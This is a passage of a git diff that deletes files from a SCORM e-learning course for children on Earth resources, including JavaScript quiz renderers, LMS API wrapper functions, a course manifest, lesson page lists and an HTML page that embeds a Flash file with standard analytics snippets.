-	this.setHtmlCode = _setSummaryInCorrectHtmlCode;
-
-	this.render      = _renderSummaryInCorrect;
-	}
-	
-
-
-function _setSummaryInCorrectHtmlCode(pCode)
-	{
-		this.htmlCode=pCode;
-		
-	}
-	
-
-
-function _renderSummaryInCorrect(index,pString)
-	{
-	
-		var SummaryInCorrectString = index.toString();
-		SummaryInCorrectString+= " ";
-		SummaryInCorrectString += insertCommas(pString);
-		var tempString= replaceToken(INCORRECT_SUMMARY_TOKEN, this.htmlCode, SummaryInCorrectString);
-	return tempString;
-		
-	}
-
-//summary Not attempted
-function SummaryNotAttemptedRenderer()
-	{
-	this.htmlCode = null;
-
-	this.setHtmlCode = _setSummaryNotAttemptedHtmlCode;
-
-	this.render      = _renderSummaryNotAttempted;
-	}
-	
-
-
-function _setSummaryNotAttemptedHtmlCode(pCode)
-	{
-		this.htmlCode=pCode;
-		
-	}
-	
-
-
-function _renderSummaryNotAttempted(index,pString)
-	{
-	
-		var SummaryNotAttemptedString = index.toString();
-		SummaryNotAttemptedString+= " ";
-		SummaryNotAttemptedString += insertCommas(pString);
-		var tempString= replaceToken(NOT_ATTEMPTED_SUMMARY_TOKEN, this.htmlCode, SummaryNotAttemptedString);
-	return tempString;
-		
-	}
-	
-	
-
-function ScoreRenderer()
-	{
-		this.htmlCode=null;
-		this.setHtmlCode= _setScoreHtml;
-		this.render=_renderScore;
-		
-	}
-	
-
-
-function _setScoreHtml(pCode)
-	{
-	 	this.htmlCode=pCode;
-	}
-	
-	
-
-function _renderScore(pScore,pDisplayQuestion)
-	{
-		var finalScoreText=replaceToken(SCORE_TOKEN,this.htmlCode,pScore);
-		this.setHtmlCode(finalScoreText);
-		finalScoreText=replaceToken(TOTAL_QUESTION_TOKEN,this.htmlCode,pDisplayQuestion);
-		return finalScoreText;
-	}
-	
-
-
-function _setCorrectFeedbackHtmlCode(pCode)
-{
-	this.htmlCode=pCode;
-}
-
-
-
-function _setInCorrectFeedbackHtmlCode(pCode)
-{
-	this.htmlCode=pCode;
-}
-	
-
-
-//for single question per Page type assessment.....
-
-
-function SinglePageAssessmentRenderer()
-{
-			
-			this.htmlDocument 		= null;
-			this.setHtmlDocument		= _setSinglePageAssessmentHtmlDocument;
-			this.defaultQuestionRenderer 	= _defaultQuestionRenderer;
-		
-			this.render		     	= _singlePageAssessmentrender;	
-		
-			this.htmlCode                   = null;
-		
-			this.setHtmlCode                = _setSinglePageAssessmentHtmlCode;	
-			
-		
-}
-
-
-
-function _setSinglePageAssessmentHtmlCode(pCodeString){
-	
-	this.htmlCode                   = pCodeString;
-
-}
-
-
-
-function _setSinglePageAssessmentHtmlDocument(pDocument,pFormName){
-
-	iContentPage =pDocument;
-
-	setQuestionsForm(pFormName);
-
-	this.htmlDocument                   = pDocument;
-
-}
-
-
-
-function _singlePageAssessmentrender()
-{
-	
-	if(!this.htmlDocument)	{
-
-		alert("please set the html document reference!");
-
-		return;	
-
-		}
-	
-	var questionString              = "";
-
-	var questionNum 		= 	currentQustionIndex;
-
-	var question                    = "null";
-
-
-if(hasNextQuestion() )
-{
-	var question = getNextQuestion();
-	if(question.getRenderer())
-	questionString  += question.getRenderer().render(question , questionNum);
-	else
-	questionString  += this.defaultQuestionRenderer.render(question , questionNum);
-}
-
-this.htmlDocument.write(replaceToken(QUESTIONS_TOKEN,this.htmlCode , questionString));
-this.htmlDocument.close();
-
-}
-
-
-
-function InstantCorrectFeedbackRenderer()
-{
-this.htmlCode=null;
-this.setHtmlCode=_setCorrectFeedbackHtmlCode;
-this.render=_renderInstantCorrectFeedback;
-}
-
-
-
-function _renderInstantCorrectFeedback(pQuestion)
-{
-		
-var feedbackString=replaceToken(CORRECT_INSTANT_FEEDBACK_TEXT_TOKEN,this.htmlCode,pQuestion.correctFeedbackText);
-return feedbackString;
-}
-
-
-
-function InstantInCorrectFeedbackRenderer()
-{
-this.htmlCode=null;
-this.setHtmlCode=_setInCorrectFeedbackHtmlCode;
-this.render=_renderInstantInCorrectFeedback;
-}
-
-
-
-function _renderInstantInCorrectFeedback(pQuestion)
-{
-		
-var feedbackString=replaceToken(INCORRECT_INSTANT_FEEDBACK_TEXT_TOKEN,this.htmlCode,pQuestion.incorrectFeedbackText);
-return feedbackString;
-}
-
-
-// Ending Renderer
-
-
-
-
-
-
-
-// Global
-
-// replaces all occurences of the token.
-function replaceToken(pToken , pOriginalString , pStringToReplaceWith){
-
-	//alert("Token" +pToken +"Original String" + pOriginalString + "ReplaceString" + pStringToReplaceWith);
-
-	var index = pOriginalString.indexOf(pToken);
-
-	var modifiedString = pOriginalString;	
-
-	if(index!=-1){
-
-		var startString = pOriginalString.substring(0 , index);
-
-		var endString   = pOriginalString.substring(index+pToken.length);
-
-		modifiedString = startString + pStringToReplaceWith + endString;
-
-	
-
-		if(modifiedString.indexOf(pToken) != -1)
-
-			modifiedString = replaceToken(pToken , modifiedString , pStringToReplaceWith);
-
-	}		
-
-	return modifiedString;
-
-}
-
-//used to return instant feedback string of the Question object. for Single question/page
-
-function getInstantFeedbackString(){
-
-		var tQuestion = iFinalQuestions[currentQustionIndex-1];
-	   	if(userSelected[currentQustionIndex-1] == iAnswersArray[currentQustionIndex-1]){
-			return tQuestion.instantCorrectFeedbackRenderer.render(tQuestion);
-		}
-		else{
-			return tQuestion.instantInCorrectFeedbackRenderer.render(tQuestion);
-		}
-}
-
-
-//End Change of Model by Manu/Monalika/Sampad/Arijit
diff --git a/Explore/elr/Science/S0501/shared/scripts/csl_scofunctions.js b/Explore/elr/Science/S0501/shared/scripts/csl_scofunctions.js
deleted file mode 100755
index 3427e59..0000000
--- a/Explore/elr/Science/S0501/shared/scripts/csl_scofunctions.js
+++ /dev/null
@@ -1,624 +0,0 @@
-
-
-
-// version --- CSL_1.3.0.0
-
-var startDate;
-var exitPageStatus;
-
-
-
-var useCustomSearch = false;
-
-
-
-function loadPage(){
-   var result = doLMSInitialize();
-   var status = doLMSGetValue( "cmi.core.lesson_status" );
-   if (status == "not attempted"){
-	  // the student is now attempting the lesson
-	  doLMSSetValue( "cmi.core.lesson_status", "incomplete" );
-   }
-   exitPageStatus = false;
-   startTimer();
-   if( self.launchSCO ){
-	   launchSCO();   
-	}
-}
-
-
-
-
-function getValue(pDataModelName){
-   return doLMSGetValue(pDataModelName);	
-}
-
-
-
-
-function setValue(pDataModelName , pValue){
-   return doLMSSetValue(pDataModelName , pValue);	
-}
-
-
-
-function startTimer(){
-   startDate = new Date().getTime();
-}
-
-
-
-
-function computeTime(){
-   if ( startDate != 0 ){
-      var currentDate = new Date().getTime();
-      var elapsedSeconds = ( (currentDate - startDate) / 1000 );
-      var formattedTime = convertTotalSeconds( elapsedSeconds );
-   }
-   else{
-      formattedTime = "00:00:00.0";
-   }
-   doLMSSetValue( "cmi.core.session_time", formattedTime );
-}
-
-
-
-
-function doBack(){
-	if( exitPageStatus == false ){
-		doLMSSetValue( "cmi.core.exit", "suspend" );
-		if( self.exitSCO ){
-			exitSCO();
-		}
-		computeTime();
-		exitPageStatus = true;  
-		var result;
-		//result = doLMSCommit();
-		// NOTE: LMSFinish will unload the current SCO.  All processing
-		//       relative to the current page must be performed prior
-		//		 to calling LMSFinish. 
-		result = doLMSFinish();
-   }
-}
-
-
-
-
-function doContinue( status ){
-   // Reinitialize Exit to blank
-   if( exitPageStatus == false ){
-		doLMSSetValue( "cmi.core.exit", "" );
-		var mode = doLMSGetValue( "cmi.core.lesson_mode" );
-		if ( mode != "review"  &&  mode != "browse" ) {
-	   		if( status ){
-				doLMSSetValue( "cmi.core.lesson_status", status );
-			}
-		}
-		if( self.exitSCO ){
-			exitSCO(); 
-		}
-		computeTime();
-		exitPageStatus = true;
-		var result;
-		//result = doLMSCommit();
-		result = doLMSFinish();
-	}
-}
-
-
-
-function doQuit(){
-	if( exitPageStatus == false ){
-		doLMSSetValue( "cmi.core.exit", "logout" );
-		if( self.exitSCO ){
-			exitSCO();
-		}
-		computeTime();
-		exitPageStatus = true;
-		var result;
-		result = doLMSCommit();
-		result = doLMSFinish();
-	}
-}
-
-function unloadPage(){
-	if (exitPageStatus != true){
-		if( self.exitSCO ){
-			exitSCO();
-		}	
-		exitPageStatus = true;
-		computeTime();
-		doLMSFinish();
-	}	
-}
-
-function isOPELPlatform(){
-  var retValue = false;
-	var api = getAPIHandle();
-	if (null == api){
-		return false;
-	}
-	else {	      
-		api.LMSGetValue("dt.progress");
-		var err = ErrorHandler();
-		if(err != _NotImplementedError && err != _InvalidArgumentError){
-      		retValue = true;
-		}
-	}
-	return retValue;   
-}
-
-
-
-
-
-function convertTotalSeconds(ts){
-   var sec = (ts % 60);
-
-   ts -= sec;
-   var tmp = (ts % 3600);  //# of seconds in the total # of minutes
-   ts -= tmp;              //# of seconds in the total # of hours
-
-   // convert seconds to conform to CMITimespan type (e.g. SS.00)
-   sec = Math.round(sec*100)/100;
-   
-   var strSec = new String(sec);
-   var strWholeSec = strSec;
-   var strFractionSec = "";
-
-   if (strSec.indexOf(".") != -1) {
-      strWholeSec =  strSec.substring(0, strSec.indexOf("."));
-      strFractionSec = strSec.substring(strSec.indexOf(".")+1, strSec.length);
-   }
-   
-   if (strWholeSec.length < 2){
-      strWholeSec = "0" + strWholeSec;
-   }
-   strSec = strWholeSec;
-   
-   if (strFractionSec.length) {
-      strSec = strSec+ "." + strFractionSec;
-   }
-
-   if ((ts % 3600) != 0 )
-      var hour = 0;
-   else var hour = (ts / 3600);
-   if ( (tmp % 60) != 0 )
-      var min = 0;
-   else var min = (tmp / 60);
-
-   if ((new String(hour)).length < 2)
-      hour = "0"+hour;
-   if ((new String(min)).length < 2)
-      min = "0"+min;
-
-   var rtnVal = hour+":"+min+":"+strSec;
-
-   return rtnVal;
-}
-
-
-
-
-var OPELObjectName = "OpelPresentationAPI"; //.........Name of Object Specific to OPEL...........//
-
-var DesktopObjectName = "DesktopPresentationAPI"; //...Name of Object Specific to OPEL Desktop...//
-
-//				Reference to the platform specific object for SCOs to communicate 
-//				with which can be OPELObject or DesktopObject
-
-var platformObject = null;
-//
-//NOTE: At Anytime either OPELObject or DTDektopObject will be present , both cannot be present
-//    at the same time.
-//
-var _Debug = false;  // set this to false to turn debugging off
-                     // and get rid of those annoying alert boxes.
-// Define exception/error codes
-var _NoError = 0;
-var _GeneralException = 101;
-var _ServerBusy = 102;
-var _InvalidArgumentError = 201;
-var _ElementCannotHaveChildren = 202;
-var _ElementIsNotAnArray = 203;
-var _NotInitialized = 301;
-var _NotImplementedError = 401;
-var _InvalidSetValue = 402;
-var _ElementIsReadOnly = 403;
-var _ElementIsWriteOnly = 404;
-var _IncorrectDataType = 405;
-
-// local variable definitions
-var apiHandle = null;
-var API = null;
-var findAPITries = 0;
-
-var lookForAICC = false;
-
-// Function: doLMSInitialize()
-// Inputs:  None
-// Return:  CMIBoolean true if the initialization was successful, or
-//          CMIBoolean false if the initialization failed.
-//
-// Description:
-// Initialize communication with LMS by calling the LMSInitialize
-// function which will be implemented by the LMS.
-//
-//
-function doLMSInitialize(){
-	var api = getAPIHandle();
-	if (api == null)   {
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-	}
-	
-	var result = api.LMSInitialize("");
-
-	if (result.toString() != "true") {
-		var err = ErrorHandler();
-	}
-	return result.toString();
-}
-
-//
-//
-// Function doLMSFinish()
-// Inputs:  None
-// Return:  CMIBoolean true if successful
-//          CMIBoolean false if failed.
-//
-// Description:
-// Close communication with LMS by calling the LMSFinish
-// function which will be implemented by the LMS
-//
-//
-function doLMSFinish(){
-   var api = getAPIHandle();
-   if (api == null)   {
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-   }
-   else   {
-      // call the LMSFinish function that should be implemented by the API
-
-      var result = api.LMSFinish("");
-      if (result.toString() != "true") {
-         var err = ErrorHandler();
-      }
-   }
-
-   return result.toString();
-}
-
-//
-//
-// Function doLMSGetValue(name)
-// Inputs:  name - string representing the cmi data model defined category or
-//             element (e.g. cmi.core.student_id)
-// Return:  The value presently assigned by the LMS to the cmi data model
-//       element defined by the element or category identified by the name
-//       input value.
-//
-// Description:
-// Wraps the call to the LMS LMSGetValue method
-//
-//
-function doLMSGetValue(name){
-   var api = getAPIHandle();
-   if (api == null)   {
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-   }
-   else{
-      var value = api.LMSGetValue(name);
-      var errCode = api.LMSGetLastError().toString();
-      if (errCode != _NoError) {
-         // an error was encountered so display the error description
-         var errDescription = api.LMSGetErrorString(errCode);
-         alert("LMSGetValue("+name+") failed. \n"+ errDescription);
-         return "";
-      }
-      else {
-         
-         return "" + value.toString();
-      }
-   }
-}
-
-//
-//
-// Function doLMSSetValue(name, value)
-// Inputs:  name -string representing the data model defined category or element
-//          value -the value that the named element or category will be assigned
-// Return:  CMIBoolean true if successful
-//          CMIBoolean false if failed.
-//
-// Description:
-// Wraps the call to the LMS LMSSetValue function
-//
-//
-function doLMSSetValue(name, value){
-   var api = getAPIHandle();
-   if (api == null) {
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-   }
-   else{
-      var result = api.LMSSetValue(name, value);
-      if (result.toString() != "true"){
-         var err = ErrorHandler();
-      }
-   }
-
-   return;
-}
-
-//
-//
-// Function doLMSCommit()
-// Inputs:  None
-// Return:  None
-//
-// Description:
-// Call the LMSCommit function 
-//
-//
-function doLMSCommit(){
-   var api = getAPIHandle();
-   if (api == null) {
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-   }
-   else{
-      var result = api.LMSCommit("");
-      if (result != "true"){
-         var err = ErrorHandler();
-      }
-   }
-
-   return result.toString();
-}
-
-//
-//
-// Function doLMSGetLastError()
-// Inputs:  None
-// Return:  The error code that was set by the last LMS function call
-//
-// Description:
-// Call the LMSGetLastError function 
-//
-//
-function doLMSGetLastError(){
-   var api = getAPIHandle();
-   if (api == null){
-		var returnValue = "";
-		if( self.aiccapi == null ){
-			alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		}	
-		else{		
-			returnValue = aiccapi.LMSGetLastError();
-		}
-		return returnValue;
-   }
-
-   return api.LMSGetLastError().toString();
-}
-
-//
-//
-// Function doLMSGetErrorString(errorCode)
-// Inputs:  errorCode - Error Code
-// Return:  The textual description that corresponds to the input error code
-//
-// Description:
-// Call the LMSGetErrorString function 
-//
-//
-function doLMSGetErrorString(errorCode){
-   var api = getAPIHandle();
-   if (api == null){
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-   }
-
-   return api.LMSGetErrorString(errorCode).toString();
-}
-
-//
-//
-// Function doLMSGetDiagnostic(errorCode)
-// Inputs:  errorCode - Error Code(integer format), or null
-// Return:  The vendor specific textual description that corresponds to the 
-//          input error code
-//
-// Description:
-// Call the LMSGetDiagnostic function
-//
-//
-function doLMSGetDiagnostic(errorCode){
-   var api = getAPIHandle();
-   if (api == null){
-		var returnValue = "";
-		alert("Unable to locate the LMS's API Implementation.\nLMSGetValue was not successful.");		
-		return returnValue;
-   }
-
-   return api.LMSGetDiagnostic(errorCode).toString();
-}
-
-//
-//
-// Function LMSIsInitialized()
-// Inputs:  none
-// Return:  true if the LMS API is currently initialized, otherwise false
-//
-// Description:
-// Determines if the LMS API is currently initialized or not.
-//
-//
-function LMSIsInitialized(){
-   // there is no direct method for determining if the LMS API is initialized
-   // for example an LMSIsInitialized function defined on the API so we'll try
-   // a simple LMSGetValue and trap for the LMS Not Initialized Error
-
-   var api = getAPIHandle();
-   if (api == null) {
-      alert("Unable to locate the LMS's API Implementation.\nLMSIsInitialized() failed.");
-      return false;
-   }
-   else{
-      var value = api.LMSGetValue("cmi.core.student_name");
-      var errCode = api.LMSGetLastError().toString();
-      if (errCode == _NotInitialized){
-         return false;
-      }
-      else{
-         return true;
-      }
-   }
-}
-
-//
-//
-// Function ErrorHandler()
-// Inputs:  None
-// Return:  The current value of the LMS Error Code
-//
-// Description:
-// Determines if an error was encountered by the previous API call
-// and if so, displays a message to the user.  If the error code
-// has associated text it is also displayed.
-//
-//
-function ErrorHandler(){
-   var api = getAPIHandle();
-   if (api == null){
-      alert("Unable to locate the LMS's API Implementation.\nCannot determine LMS error code.");
-      return;
-   }
-
-   // check for errors caused by or from the LMS
-   var errCode = api.LMSGetLastError().toString();
-   if (errCode != _NoError){
-      // an error was encountered so display the error description
-      var errDescription = api.LMSGetErrorString(errCode);
-
-      if (_Debug == true) {
-         errDescription += "\n";
-         errDescription += api.LMSGetDiagnostic(null);
-         // by passing null to LMSGetDiagnostic, we get any available diagnostics
-         // on the previous error.
-      }
-
-      if(_Debug)alert(errDescription);
-   }
-
-   return errCode;
-}
-
-//
-//
-// Function getAPIHandle()
-// Inputs:  None
-// Return:  value contained by APIHandle
-//
-// Description:
-// Returns the handle to API object if it was previously set,
-// otherwise it returns null
-//
-//
-function getAPIHandle(){
-
-	if( self.aiccapi ){
-		return self.aiccapi;
-	}
-   if (apiHandle == null){
-      apiHandle = getAPI();
-   }
-
-   return apiHandle;
-}
-
-
-//
-//
-// Function findAPI(win)
-// Inputs:  win - a Window Object
-// Return:  If an API object is found, it's returned, otherwise null is returned
-//
-// Description:
-// This function looks for an object named API in parent and opener windows
-//
-//
-
-
-
-//
-//	Added Code to locate the OPEL Specific Object to enable a SCO to 
-//	communicate with the platform(OPEL).
-//
-
-
-function findAPI(win){
-   while ((win.API == null) && (win.parent != null) && (win.parent != win))  {
-      findAPITries++;      
-      
-     // Note: 10 is an arbitrary number, but should be more than sufficient
-      if (findAPITries > 10) {
-         alert("Error finding API -- too deeply nested.");
-         return null;
-      }
-      
-      win = win.parent;
-      
-      var numOfFrames = win.frames.length;
-      var counter     = 0;
-      
-      while(counter < numOfFrames){
-      	if(win.frames[counter].API){
-      		return win.frames[counter].API;
-      	}
-      	counter++;
-      }      
-   }  
-   return win.API;
-}
-
-
-
-//
-//
-// Function getAPI()
-// Inputs:  none
-// Return:  If an API object is found, it's returned, otherwise null is returned
-//
-// Description:
-// This function looks for an object named API, first in the current window's 
-// frame hierarchy and then, if necessary, in the current window's opener window
-// hierarchy (if there is an opener window).
-//
-//
-function getAPI(){
-   var theAPI = findAPI(window);
-   if ((theAPI == null) && (top.opener != null) && (typeof(top.opener) != "undefined")) {
-      theAPI = findAPI(top.opener);
-   }
-   
-   if(theAPI == null && useCustomSearch){
-   	if(searchInOtherLocations){
-   		theAPI	=   searchInOtherLocations();
-   	}
-   }
-   
-   if (theAPI == null){
-      alert("Unable to find an API adapter");
-   }  
-   return theAPI;
-}
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0501/shared/scripts/csl_staticwrapper.js b/Explore/elr/Science/S0501/shared/scripts/csl_staticwrapper.js
deleted file mode 100755
index 805f7fd..0000000
--- a/Explore/elr/Science/S0501/shared/scripts/csl_staticwrapper.js
+++ /dev/null
@@ -1,56 +0,0 @@
-
-
-// CSL_1.3.0.0
-function StaticAdapter(){
-	
-	this.LMSInitialize		=	_initialize;
-	this.LMSSetValue		=	_setValue;
-	this.LMSGetValue		=	_getValue;
-	this.LMSGetLastError		=	_getLastError;
-	this.LMSGetErrorString		=	_getErrorString;
-	this.LMSGetDiagnostic		=	_getDiagnostic;
-	this.LMSCommit			=	_commit;
-	this.LMSFinish			=	_finish;
-	
-	
-}
-
-
-function _initialize(){	
-	return "true";
-}
-
-function _getValue(pElementName){	 
-	return "";
-}
-
-function _setValue(pElementName , pElementValue){	 
-	return "true";
-}
-
-function _getLastError(){
-	return 0;
-}
-
-function _getErrorString(){
-	return "";
-}
-
-function _getDiagnostic(){
-	return "";
-}
-
-function _commit(){	 
-	return "true";
-}
-
-function _finish(){	 
-	return "true";
-}
-
-/// END OF StaticAdapter Object Definition
-
-
-// initialize the API Adapter For SCOs
-
-var API		=	new StaticAdapter();
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0501/shared/scripts/csl_utils.js b/Explore/elr/Science/S0501/shared/scripts/csl_utils.js
deleted file mode 100755
index 6cc849a..0000000
--- a/Explore/elr/Science/S0501/shared/scripts/csl_utils.js
+++ /dev/null
@@ -1,98 +0,0 @@
-
-
-// CSL_1.3.0.0
- 
-
- 
- 
- function getElementFromSuspendData(elementName){
- 	var tString = getValue("cmi.suspend_data");
-	if( tString == null ){
-		tString = "";
-	}
-	return getElementValue(tString,elementName);
- }
- 
- 
- 
-
- 
- 
- function addToSuspendData(tagName, tagValue){
- 	var tString = getValue("cmi.suspend_data");
-
-	if( tString == null ){
-		tString = "";
-	}
-
-	tString = addElement( tString, tagName, tagValue );
-	setValue("cmi.suspend_data", tString);
- 
- }
- 
- 
-  
-
- 
-
-  
- function setNumberOfAttempts(pAttempts){
-	addToSuspendData("attempts",pAttempts);
- }
-
-
- 
- 
- function getNumberOfAttempts(){
- 	var tString = getElementFromSuspendData("attempts");
-	var tAttempts = parseInt(tString);
-	if( isNaN(tAttempts) ){
-		tAttempts = 0;
-	}
-	return tAttempts;
- }
- 
- 
-
- 
-
- //The following functions are private and should not be used by content developers unless there is a custom requirement.
-function getElementValue(completeString, tagName){
-
-	var tStartIndex = completeString.indexOf( "<" +tagName+ ">" ) ;
-	var tString = "";
-	
-	if( tStartIndex != -1 ){
-		tStartIndex = tStartIndex + tagName.length + 2;
-		var tEndIndex = completeString.indexOf("</" + tagName + ">");
-		if( tEndIndex == -1 ){
-			tEndIndex = completeString.length;
-		}
-		tString = completeString.substring( tStartIndex, tEndIndex );
-	}
-	return tString;	
-}
-
-function getElementString(tagName, tagValue){
-	return "<" + tagName + ">" + tagValue + "</" + tagName + ">";
-}
-
-
-function addElement(completeString, tagName, tagValue){
-	var tStartIndex = completeString.indexOf( "<" +tagName+ ">" );
-	
-	if( tStartIndex == -1 ){
-		completeString += getElementString(tagName,tagValue);
-	}
-	else{
-		tStartIndex +=  tagName.length + 2;
-		tEndIndex = completeString.indexOf("</" + tagName + ">");
-		completeString = completeString.substring(0,tStartIndex) +  tagValue + completeString.substring(tEndIndex,completeString.length);
-	}
-	return completeString;
-}
-
- 
-
- 
- 
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0502/imsmanifest.xml b/Explore/elr/Science/S0502/imsmanifest.xml
deleted file mode 100755
index c79b71a..0000000
--- a/Explore/elr/Science/S0502/imsmanifest.xml
+++ /dev/null
@@ -1,92 +0,0 @@
-<?xml version="1.0" standalone="no" ?>
-<!-- created with L5 SCORM Producer Plus 2.1.0 for Dreamweaver, 
-on Mon Mar 20 14:29:24 GMT+0530 (India Standard Time) 2006 --> 
-<manifest identifier="cuselk010002" version="1.0" xmlns="http://www.imsproject.org/xsd/imscp_rootv1p1p2" 
-	xmlns:adlcp="http://www.adlnet.org/xsd/adlcp_rootv1p2" 
-	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-	xsi:schemaLocation="http://www.imsproject.org/xsd/imscp_rootv1p1p2 imscp_rootv1p1p2.xsd http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd http://www.adlnet.org/xsd/adlcp_rootv1p2 adlcp_rootv1p2.xsd" xmlns:dtcp="http://www.digitalthink.com/opel/extensions">
-	<metadata>
-	<schema>ADL SCORM</schema>
-	<schemaversion>1.2</schemaversion>
-		<lom xmlns="http://www.imsglobal.org/xsd/imsmd_rootv1p2p1" >
-				<general>
-					<title>
-						<langstring>eLearning for Kids - Earth Resources</langstring>
-					</title>
-					<catalogentry>
-						<catalog></catalog>
-						<entry><langstring xml:lang="en"></langstring></entry>
-					</catalogentry>
-					<description>
-						<langstring xml:lang="en">eLearning for Kids - Earth Resources</langstring>
-					</description>
-					<keyword>
-						<langstring xml:lang="en"></langstring>
-					</keyword>
-				</general>
-				<lifecycle/>
-				<metametadata>
-					<metadatascheme>LOM-1.0</metadatascheme>
-				</metametadata>
-				<technical>
-					<format>text/html</format>
-					<location type="URI">http://www.digitalthink.com</location>
-				</technical>
-				<educational>
-					<typicallearningtime>
-						<datetime></datetime>
-					</typicallearningtime>
-				</educational>
-				<rights>
-					<cost>
-						<source>
-							<langstring xml:lang="x-none">LOM-WD6.1</langstring>
-						</source>
-						<value>
-							<langstring xml:lang="x-none">no</langstring>
-						</value>
-					</cost>
-					<copyrightandotherrestrictions>
-						<source>
-							<langstring xml:lang="x-none">LOM-WD6.1</langstring>
-						</source>
-						<value>
-							<langstring xml:lang="x-none">no</langstring>
-						</value>
-					</copyrightandotherrestrictions>
-					<description>
-						<langstring xml:lang="en"></langstring>
-					</description>
-				</rights>
-				<classification>
-					<purpose>
-						<source>
-							<langstring xml:lang="x-none">LOM-WD6.1</langstring>
-						</source>
-						<value>
-							<langstring xml:lang="x-none">Educational Objective</langstring>
-						</value>
-					</purpose>
-					<description>
-						<langstring xml:lang="en"></langstring>
-					</description>
-					<keyword>
-						<langstring xml:lang="en"></langstring>
-					</keyword>
-				</classification>
-		</lom>
-	</metadata>
-	<organizations default="cuselk010002_ORG">
-		<organization identifier="cuselk010002_ORG" structure="heirarchical">
-			<title>eLearning for Kids - Earth Resources</title>
-			<item identifier="module1" identifierref="module1_IDREF" isvisible="true">
-				<title>eLearning for Kids - Earth Resources</title>
-			</item>
-		</organization>
-	</organizations>
-	<resources>
-		<resource identifier="module1_IDREF" type="webcontent" href="module/module1_home.html"  adlcp:scormtype="sco">
-			<file href="module/module1.htm" />
-		</resource>
-	</resources>
-</manifest>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0502/module/blank.html b/Explore/elr/Science/S0502/module/blank.html
deleted file mode 100755
index 3fc4bb3..0000000
--- a/Explore/elr/Science/S0502/module/blank.html
+++ /dev/null
@@ -1 +0,0 @@
-<HTML><BODY></BODY></HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0502/module/courseData.xml b/Explore/elr/Science/S0502/module/courseData.xml
deleted file mode 100755
index fba7fac..0000000
--- a/Explore/elr/Science/S0502/module/courseData.xml
+++ /dev/null
@@ -1,37 +0,0 @@
-<course isflipbook='true'>
-	<page>
-		<name>Conserve Earth�s Resources</name>
-		<fileName>swf/L5-01/1_title.swf</fileName>
-		<ID>L5-01</ID>
-	</page>
-	<page ishome='true'>> 
-		<name>Course Menu</name>
-		<fileName>swf//L5-02/2_menu.swf</fileName>
-		<ID>L5-02</ID>	
-	</page>
-	<page>
-		<name>Lesson 1: Explore Earth�s Resources</name>
-		<fileName>swf/L5-03/l1_menu.swf</fileName>
-		<ID>L5-03</ID>
-	</page>
-	<page>
-		<name>Lesson 2: Menu page</name>
-		<fileName>swf/L5-04/l2_menu.swf</fileName>
-		<ID>L5-04</ID>
-	</page>
-	<page>
-		<name>Lesson 2: Conserve Around the Bathroom</name>
-		<fileName>swf/L5-05/l2_bathroom.swf</fileName>
-		<ID>L5-05</ID>
-	</page>
-	<page>
-		<name>Lesson 2: Conserve Around the Kitchen</name>
-		<fileName>swf/L5-06/l2_kitchen.swf</fileName>
-		<ID>L5-06</ID>
-	</page>
-	<page>
-		<name>Conclusion</name>
-		<fileName>swf/L5-07/certificate.swf</fileName>
-		<ID>L5-07</ID>
-	</page>	
-</course>
-\ No newline at end of file
diff --git a/Explore/elr/Science/S0502/module/lev.swf b/Explore/elr/Science/S0502/module/lev.swf
deleted file mode 100755
index 9879fbd..0000000
--- a/Explore/elr/Science/S0502/module/lev.swf
+++ /dev/null
diff --git a/Explore/elr/Science/S0502/module/module1.htm b/Explore/elr/Science/S0502/module/module1.htm
deleted file mode 100755
index f4cc435..0000000
--- a/Explore/elr/Science/S0502/module/module1.htm
+++ /dev/null
@@ -1,48 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>Untitled Document</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script>
-function closeWin()
-{
-top.close();
-window.close();
-parent.window.close();
-}
-</script>
-<!-- Start of StatCounter Code -->
-<script type="text/javascript">
-var sc_project=3285065; 
-var sc_invisible=0; 
-var sc_partition=21; 
-var sc_security="cb2194ec"; 
-</script>
-<script type="text/javascript">
-var gaJsHost = (("https:" == document.location.protocol) ?
-"https://ssl." : "http://www.");
-document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js'
-type='text/javascript'%3E%3C/script%3E"));
-</script>
-<script type="text/javascript">
-try {
-var pageTracker = _gat._getTracker("UA-3767630-1"); pageTracker._trackPageview(); } catch(err) {}</script>
-
-<script type="text/javascript" src="http://www.statcounter.com/counter/counter_xhtml.js"></script><noscript><div class="statcounter"><a class="statcounter" href="http://www.statcounter.com/"><img class="statcounter" src="http://c22.statcounter.com/3285065/0/cb2194ec/0/" alt="website stats" /></a></div></noscript>
-<!-- End of StatCounter Code -->
-
-</head>
-
-<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
-<table width="100%" border="0" cellspacing="0" cellpadding="0">
-  <tr>
-    <td align="left" valign="top"> 
-      <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="800" height="600">
-        <param name="quality" value="high">
-        <param name="SRC" value="lev.swf">
-        <embed src="lev.swf" width="800" height="600" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash"></embed></object> 
-    </td>
-  </tr>
-</table>
-</body>
-</html>
diff --git a/Explore/elr/Science/S0502/module/module1_controller.html b/Explore/elr/Science/S0502/module/module1_controller.html
